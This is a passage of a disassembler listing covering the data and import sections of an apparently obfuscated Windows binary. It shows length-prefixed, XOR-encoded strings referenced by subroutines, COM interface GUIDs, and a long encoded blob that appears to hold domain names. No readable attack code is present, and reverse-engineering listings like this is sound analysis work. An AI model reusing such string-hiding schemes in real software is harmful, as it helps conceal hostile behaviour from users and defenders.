47h ; DATA XREF: sub_43E491+29Fo a6j1? db ',,6j1?',0 byte_55227B db 6 ; DATA XREF: sub_43E491+220o dd 0C1C1AA00h, 0D2DC87DBh db 0 byte_552285 db 6, 0, 0EAh ; DATA XREF: sub_43E491+165o aBbiT db '›Çœ’',0 asc_55228F db 8,0 ; DATA XREF: sub_43E491+155o db 9Dh, 0B8h, 0EEh dd 0E5E9F0C2h db 0B8h, 0E8h, 0 byte_55229B db 6 ; DATA XREF: sub_43E491+116o dd 1B1B7000h, 8065D01h db 0 byte_5522A5 db 7, 0, 0C3h ; DATA XREF: sub_43E491+106o dd 0AE9CB0E6h, 0F2BBB7h dword_5522B0 dd 0D89B0012h, 0EFEBE2E9h, 0E9EBF5CEh, 0F8FEEFF4h, 0EFFADFEFh ; DATA XREF: sub_43E429:loc_43E46Ao db 0FAh, 0 word_5522C6 dw 0Bh ; DATA XREF: sub_43E429+2Ao dd 8D8697F4h, 0C6C78084h, 989890DAh db 0 byte_5522D5 db 0Bh, 0, 0ECh ; DATA XREF: sub_43E429+1o aPuxSIaa db '•œ˜ßŞÂˆ€€',0 dword_5522E4 dd 226B0011h, 190E1F05h, 4B1F0E05h, 71B132Eh, 190E1904h ; DATA XREF: sub_43E2F5+25o dd 0 dword_5522FC dd 4, 450007h, 430048h, 5Ehdword_55230C dd 8DCE0016h, 0A5ADA7A2h, 0ADA081EEh, 0A19AEEABh, 0A0A18DEEh ; DATA XREF: sub_43CD37+F91o dd 0BBA0A7BAh db 0ABh, 0 word_552326 dw 6 ; DATA XREF: sub_43CD37+F81o dd 40415614h, 5A5B40h dword_552330 dd 0F7B2001Eh, 0E0FBE2EAh, 0FDFBE6F3h, 0F3F692FCh, 0B8B8F7E6h ; DATA XREF: sub_43CD37+ECEo dd 0FFE6F3B8h, 0FCFBE292h, 0F6FDF192h db 0F7h, 0 word_552352 dw 6 ; DATA XREF: sub_43CD37+EBEo aXtztpe db 'Æ•’‡’…',0 dword_55235C dd 0CB0000h dword_552360 dd 2C690004h, 3D202Dhdword_552368 dd 2270004h, 521509hdword_552370 dd 3B090006h, 3B272C39h db 7Ch, 0 word_55237A dw 0 ; DATA XREF: sub_43CD37+C1Do db 1Eh, 0 word_55237E dw 8 ; DATA XREF: sub_43CD37+C0Do dd 0EDEFE3A0h, 0EFE2EFE2h db 0F8h, 0 off_55238A dd offset dword_530000 ; DATA XREF: sub_43CD37+B53o word_55238E dw 8 ; DATA XREF: sub_43CD37+B43o aP3?2?2? db 'p3?=2?2?(',0 aN_0 db 'n',0 ; DATA XREF: sub_43CD37:loc_43D725o dd 0D0DFE4B1h, 91D4DDD3h, 0D091DEC5h, 0DED9C5C4h, 0D4CBD8C3h dd 0C294BB9Fh, 0DEC3C191h, 0C2C2D4D2h, 91D6DFD8h, 0C5DFD4D2h dd 0D891C3D4h, 0DFC491C2h, 0D4DDD3D0h, 91DEC591h, 0D9C5C4D0h dd 0CBD8C3DEh, 0DEC891D4h, 0D291C3C4h, 91D5C3D0h, 0BB9FC294h dd 0D4DAD0FCh, 0C3DED291h, 0C5D2D4C3h, 0C2DFDED8h, 0D5DFD091h dd 0C8C3C591h, 0D0D6D091h, 9FDFD8h dword_55240C dd 713C000Ah, 59484F5Dh, 4E5D7F4Eh db 58h, 0 word_55241A dw 4 ; DATA XREF: sub_43CD37+9BCo a63 db '`6)3!',0 word_552422 dw 1 ; DATA XREF: sub_43CD37+8F0o db 8Ch, 0ACh, 0 byte_552427 db 6 ; DATA XREF: sub_43CD37+8E0o dd 33346700h, 242E3326h db 0 byte_552431 db 15h, 0, 83h ; DATA XREF: sub_43CD37+79Bo aIgggG db '‰£££ÓÑÌÀÆĞĞÊÍÄ£ÅÂÊÏÆÇ',0 word_55244A dw 6 ; DATA XREF: sub_43CD37+78Bo dd 0F2E7E0B3h, 0F0FAE7h dword_552454 dd 400000h dword_552458 dd 0CE9D0006h, 0D4C9DCC9h ; sub_43CD37+A14o db 0DEh, 0 word_552462 dw 6 ; DATA XREF: sub_43CD37+5A0o dd 63797912h, 6A643Fh dword_55246C dd 6B2E0008h, 41425E56h, 5C4B5Chdword_552478 dd 10540009h, 361B373Bh, 2037313Eh db 0 byte_552485 db 0Eh, 0, 0F5h ; DATA XREF: sub_43CD37+4C8o aBfcvIsVSfjj db '¡”—¢œ›‘š‚¶™”††',0 byte_552497 db 4 ; DATA XREF: sub_43CB55:loc_43CB8Co dd 0B4F2D700h db 0EDh, 8Bh, 0 byte_55249F db 1 ; DATA XREF: sub_43C752+351o dd 0EA9600h dword_5524A4 dd 1F560019h, 15021318h, 761B1B19h, 20243305h, 6762433h ; DATA XREF: sub_43C752+2E8o dd 21252537h, 25322439h db 0 byte_5524C1 db 1, 0, 8Dh ; DATA XREF: sub_43C752+2D0o ; sub_43C752+3A1o db 0F1h, 0 word_5524C6 dw 1 ; DATA XREF: sub_43C10A+342o db 0Ch, 2Fh, 0 byte_5524CB db 1 ; DATA XREF: sub_43C10A+2EBo dd 143700h dword_5524D0 dd 92B10001h db 0 byte_5524D5 db 7, 0, 9Dh ; DATA XREF: sub_43C10A+233o dd 0EDE9E9F5h, 0B2B2A7h dword_5524E0 dd 0CAE90001h db 0 byte_5524E5 db 7, 0, 0EFh ; DATA XREF: sub_43C10A:loc_43C24Do aZiiq db '‡››ŸÕÀÀ',0 dword_5524F0 dd 0E182040Bh, 0EAE1E7EAh, 0F0F2ECE7h, 0ACF1F1E7h, 0EDE4ECEBh ; DATA XREF: sub_43C10A+10o dd 0EEEDE5A1h, 0EEEDF2E6h, 0EDE1ACEEh, 0ECEBA1EFh, 0EEEDE5F6h dd 0EDE1ACE6h, 0F5F5A1EFh, 0E0E1ACF5h, 0F7F0ACF0h, 0F5F5F5A1h dd 0E1F4E3ACh, 0E9E1E7EAh, 0A1F7F0ACh, 0F0EDF6F1h, 0FBE3F2EFh dd 0EFEDE1ACh, 0F7F0E1A1h, 0ACF2EDF6h, 0ECA1F7ECh, 0E7ACF5E7h dd 0E1ACE5E5h, 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h dd 0EDE1ACF1h, 0F4E3A1EFh, 0E1E7EAE1h, 0F7F0ACE9h, 0E1F4E3A1h dd 0E9E1E7EAh, 0F8EBE0ACh, 0F5F5F5A1h, 0EBE0E0ACh, 0F7F0ACECh dd 0F1E3EFA1h, 0AFF0E7F6h, 0EDE1ACFAh, 0F5F5A1EFh, 0EDF2ACF5h dd 0F1EBF8ECh, 0F1EFE3E1h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECE3E0ACh dd 0E3E0AFE9h, 0E7F7F3ECh, 0ECE3E1AFh, 0ACE3E6E3h, 0F5A1E3E1h dd 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h, 0F5F5A1EFh dd 0EFE0ACF5h, 0EDE1ACEDh, 0E3F2A1EFh, 0EEE3F2FBh, 0EFEDE1ACh dd 0E3E0E7A1h, 0EDE1ACFBh, 0F5F5A1EFh, 0E3E0ACF5h, 0E4EDE9ECh dd 0F7E6E3EFh, 0E1ACE3F0h, 0F5A1EFEDh, 0E1ACF5F5h, 0ACE1E0EBh dd 0A1EFEDE1h, 0ACF5F5F5h, 0ACE0F6F4h, 0F5A1F7F0h, 0E1ACF5F5h dd 0ECE3E0F5h, 0EDE1ACE9h, 0EDE5A1EFh, 0EDF2E6EEh, 0E1ACEEEEh dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h dd 0F5F5A1EFh, 0EFEFACF5h, 0E9ECE3E0h, 0A1F7F0ACh, 0ACF5F5F5h dd 0E3EBECF7h, 0F7F0F6F1h, 0F7F0ACEFh, 0EEEDE5A1h, 0EEEDF2E6h dd 0EDE1ACEEh, 0F5F5A1EFh, 0EDF2ACF5h, 0F1EBF8ECh, 0F1EFE3E1h dd 0EFEDE1ACh, 0F5F5F5A1h, 0F0EDF5ACh, 0E3E0E6EEh, 0EDACE9ECh dd 0F5A1E5F0h, 0E1ACF5F5h, 0EBE6ECE3h, 0E7F6E3E6h, 0EBF0E7F4h dd 0F0E7EBE4h, 0EFEDE1ACh, 0F5F5F5A1h, 0ECEDF2ACh, 0E1F1EBF8h dd 0ACF1EFE3h, 0A1EFEDE1h, 0ACF5F5F5h, 0E9ECE3E0h, 0ECEBE4EDh dd 0ACE3EBE6h, 0A1EFEDE1h, 0ACF5F5F5h, 0E3E0E1EBh, 0F0ACE9ECh dd 0F4E3A1F7h, 0E1E7EAE1h, 0F7F0ACE9h, 0F5F5F5A1h, 0ECE7F4ACh dd 0F1F0EDE6h, 0E7EFE3ECh, 0A1F1F5ACh, 0ACF5F5F5h, 0ACE0EFE9h dd 0F5A1F7F0h, 0ECACF5F5h, 0E3EFF6E7h, 0F6F1EBE5h, 0E1ACF0E7h dd 0E9A1EFEDh, 0E3E9F4E3h, 0ECE7E1F8h, 0ACF0E7F6h, 0A1EFEDE1h dd 0ACF5F5F5h, 0E6ECE7F4h, 0ECF1F0EDh, 0ACE7EFE3h, 0EFA1F1F5h dd 0EEECEDFBh, 0E3E7ECEBh, 0F7EDE1E1h, 0B0F1F6ECh, 0E0E0E3ACh dd 0E3ECFBE7h, 0ECEDEBF6h, 0E1ACEEE3h, 0E9F7ACEDh, 0EEECEDA1h dd 0AFE7ECEBh, 0EBF1F7E0h, 0F1F1E7ECh, 0EDEEEEACh, 0F6F1E6FBh dd 0E1ACE0F1h, 0E9F7ACEDh, 0F5F5F5A1h, 0EEEEE3ACh, 0E0E3EAE3h dd 0E3E0E6E3h, 0E1ACE9ECh, 0F5A1EFEDh, 0F0ACF5F5h, 0E1ACE1E0h dd 0F5A1EFEDh, 0F2ACF5F5h, 0EBF8ECEDh, 0EFE3E1F1h, 0EDE1ACF1h dd 0F5F5A1EFh, 0EAACB3F5h, 0ACE1E0F1h, 0E9A1E3E1h, 0E7F0E0E5h dd 0E1FAE3EEh, 0ACE0F7EEh, 0FBA1F7F0h, 0EDE0EFE3h, 0F8EBE0ACh dd 0E6EBE9A1h, 0E0AFF1EDh, 0ACE9ECE3h, 0F5A1F7F0h, 0EEACF5F5h dd 0EBE6E1E0h, 0F6E1E7F0h, 0F7E3EEACh, 0F6ECE7F0h, 0E0ECE3EBh dd 0ACE9ECE3h, 0E0A1E3E1h, 0EEE1F0E3h, 0ACF1FBE3h, 0A1EFEDE1h dd 0E3F6EDF6h, 0E4FBEEEEh, 0E0E7E7F0h, 0EBE9ECE3h, 0E1ACE5ECh dd 0F5A1EFEDh, 0ECACF5F5h, 0E1ACE1E0h, 0B1B7A1E3h, 0E9ECE3E0h dd 0EFEDE1ACh, 0F5F5F5A1h, 0ECE7F4ACh, 0F1F0EDE6h, 0E7EFE3ECh dd 0A1ECF4ACh, 0ACF5F5F5h, 0AFE0B0E0h, 0F1F7F0F6h, 0EDE1ACF6h dd 0F5F5A1EFh, 0E7F4ACF5h, 0F0EDE6ECh, 0EFE3ECF1h, 0F1F5ACE7h dd 0E7F2EDA1h, 0ECE3E0ECh, 0EDE1ACE9h, 0E3F6A1EFh, 0E7ECAFF6h dd 0E3E0F6E4h, 0F0ACE9ECh, 0E7F1A1F7h, 0E0E3EEE1h, 0A1F7F0ACh dd 0F7E1E7F1h, 0FBF6EBF0h, 0ACE0E3EEh, 0E4A1F7F0h, 0E3EAF6E7h dd 0E0ACE6F0h, 0E5A1F8EBh, 0FAECEDF0h, 0ECE3EEF2h, 0ACF1F6E7h dd 0F4A1F7F0h, 0EDE6ECE7h, 0E3ECF1F0h, 0F4ACE7EFh db 0ECh, 0A1h, 0 byte_5528FF db 1 ; DATA XREF: sub_43B946:loc_43BBF8o dd 0C09C00h dword_552904 dd 1E730006h, 1E101E16h db 3, 0 word_55290E dw 6 ; DATA XREF: sub_43B841+D7o aML db 'ß²º²¬º«',0 dword_552918 dd 0FE8D0006h, 0ECEEFFF9h db 0F9h, 0 word_552922 dw 6 ; DATA XREF: sub_43B841+ADo aMannov db 'Á¬ ®¢',0 dword_55292C dd 73120004h, 7B7D66hdword_552934 dd 731E0006h, 6E7D737Bh db 67h, 0 word_55293E dw 5 ; DATA XREF: sub_43B841+6Eo aVnz db 'ð±¢§',0 byte_552947 db 4 ; DATA XREF: sub_43B841+59o dd 0A0B4D200h db 2 dup(0B7h), 0 byte_55294F db 6 ; DATA XREF: sub_43B841+44o dd 0FFF88B00h, 0F2FBE8F9h db 0 byte_552959 db 8, 0, 0FAh ; DATA XREF: sub_43B841+2Fo aMikiufo db 'Œ‰Šˆ“”œ',0 asc_552965 db 7,0 ; DATA XREF: sub_43B841+1Ao aT1 db 'T ;!$$1&',0 dword_552970 dd 8FFD0004h, 99939Chdword_552978 dd 261000Ah, 0D051513h, 0D054F0Dh db 0Dh, 0 word_552986 dw 0Ah ; DATA XREF: sub_43B004+1o aD60J db 'D',27h,'60 ((j ((',0 dword_552994 dd 0CAEB0001h db 0 byte_552999 db 1, 0, 0Eh ; DATA XREF: sub_43A985+229o db 24h, 0 word_55299E dw 4 ; DATA XREF: sub_43A985+1E2o aUUuu db 'îêîîî',0 asc_5529A6 db 0Bh,0 ; DATA XREF: sub_43A8C0:loc_43A90Ao aFzcberbvlkre db 'ä§–…¢‹Š¥',0 asc_5529B5 db 9,0 ; DATA XREF: sub_43A8C0+33o db 6Ch dd 5F05080Bh, 8425Eh db 2 dup(0) word_5529C2 dw 9 ; DATA XREF: sub_43A8C0+1o dd 7C717215h, 713B2726h, 3A007979h, 2F2Fh dword_5529D4 dd 9BA05972h, 11CFF6A8h, 0A00042A4h, 398F0AC9hdword_5529E4 dd 0FE4106E0h, 11D0399Ah, 0A0008CA4h, 398F0AC9h ; sub_43A324+214o ... dword_5529F4 dd 34A715A0h, 11D06587h, 20004A92h, 4DACC7AFh ; sub_43A324+199o ... dword_552A04 dd 3050F25Bh, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A14 dd 0B196B284h, 101ABAB4h, 0AA009CB6h, 71D3400hdword_552A24 dd 20400h, 0 ; sub_43E94C+1Co ... dd 0C0h, 46000000h dword_552A34 dd 332C4425h, 11D026CBh, 0C00083B4h, 1901D94Fh ; sub_44300F+1BBo dword_552A44 dd 3050F21Fh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_4441D8+60o dword_552A54 dd 3050F1FFh, 11CF98B5h, 0AA0082BBh, 0BCEBD00h ; sub_44300F+580o ... dword_552A64 dd 3050F1F7h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A74 dd 3050F240h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_552A84 dd 332C4427h, 11D026CBh, 0C00083B4h, 1901D94Fhdword_552A94 dd 85CB6900h, 11CF4D95h, 80000C96h, 85EEF4C7hdword_552AA4 dd 0D30C1661h, 11D0CDAFh, 0C0003E8Ah, 6EE2C94Fh, 53h dup(0) ; DATA XREF: sub_43A324+13Ao ; sub_43EC94+A0o ... _data ends ; Section 6. (virtual address 00153000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00152C00 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 553000h dd 2Bh dup(0) dword_5530AC dd 0 dword_5530B0 dd 0 dword_5530B4 dd 0 align 10h dword_5530C0 dd 0 dword_5530C4 dd 0 dword_5530C8 dd 0 dword_5530CC dd 0 dword_5530D0 dd 0 dword_5530D4 dd 0 dword_5530D8 dd 0 dword_5530DC dd 0 align 1000h _idata2 ends end start